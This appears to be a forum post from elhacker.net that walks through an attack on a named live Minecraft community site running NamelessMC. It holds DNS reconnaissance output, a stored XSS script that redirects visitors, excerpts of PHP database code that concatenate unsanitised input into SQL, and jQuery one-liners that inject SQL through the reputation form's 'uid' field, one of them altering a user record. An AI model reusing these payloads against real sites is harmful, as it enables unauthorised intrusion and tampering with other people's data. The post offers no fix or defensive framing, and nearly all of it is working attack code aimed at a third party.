Foro de elhacker.net

Machine:~ whk$ dig -t txt play.cubstar.net

; <<>> DiG 9.10.6 <<>> -t txt play.cubstar.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41134
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;play.cubstar.net.		IN	TXT

;; AUTHORITY SECTION:
cubstar.net.		3600	IN	SOA	ns19.domaincontrol.com. dns.jomax.net. 2018070701 28800 7200 604800 86400

;; Query time: 127 msec
;; SERVER: xxx.xxx.xxx.xxx#53(xxx)
;; WHEN: Sat Jul 07 13:47:05 -04 2018
;; MSG SIZE  rcvd: 113

Machine:~ whk$ dig -t ns cubstar.net
...
;; ANSWER SECTION:
cubstar.net.		3600	IN	NS	ns19.domaincontrol.com.
cubstar.net.		3600	IN	NS	ns20.domaincontrol.com.
...

<script data-cfasync="false">window.location.replace('/profile/DamianIsHere');alert(0);x('/');</script>

<li class="dropdown">
        <a class="dropdown-toggle" data-toggle="dropdown" href="#">&copy; CubStar Network 2018</a>
        <ul class="dropdown-menu">
            <li><a href="#" target="_blank">Site software &copy; Samerton</a></li>
            <li><a href="https://github.com/NamelessMC/Nameless" target="_blank">Source avaliable on GitHub.</a></li>
        </ul>
    </li>

    $queries->create("reputation", array(
        'user_received' => Input::get('uid'),
        'post_id' => Input::get('pid'),
        'topic_id' => Input::get('tid'),
        'user_given' => $user->data()->id,
        'time_given' => date('Y-m-d H:i:s')
    ));
    ...

    public function create($table, $fields = array()) {
        if(!$this->_db->insert($table, $fields)) {
    ...

    public function insert($table, $fields = array()) {
        $keys = array_keys($fields);
        $values = '';
        $x = 1;
        
        foreach($fields as $field) {
            $values .= '?';
            if ($x < count($fields)) {
                $values .= ', ';
            }
            $x++;
        }
        
        $table = $this->_prefix . $table;
        $sql = "INSERT INTO {$table} (`" . implode('`,`', $keys) . "`) VALUES ({$values})";
        
        if(!$this->createQuery($sql, $fields)->error()){
            return true;
        }
        return false;
    }
    ...

$this->_pdo = new PDO('mysql:...

	public function update($table, $id, $fields) {
		$set = '';
		$x = 1;
		
		foreach($fields as $name => $value){
			$set .= "{$name} = ?";
			
			if($x < count($fields)) {
				$set .= ', ';
			}
			$x++;
		}
		$table = $this->_prefix . $table;
		$sql = "UPDATE {$table} SET {$set} WHERE id = {$id}";
		
		if(!$this->createQuery($sql, $fields)->error()) {
			return true;
		}
		
		return false;
	}

$('input[name="uid"]').val("3');"); $('form[action="/forum/reputation/"]').submit();

$('input[name="uid"]').val("3; update users set username=@@version where id = 17"); $('form[action="/forum/reputation/"]').submit();

$('input[name="uid"]').val("3 ')"); $('form[action="/forum/reputation/"]').submit();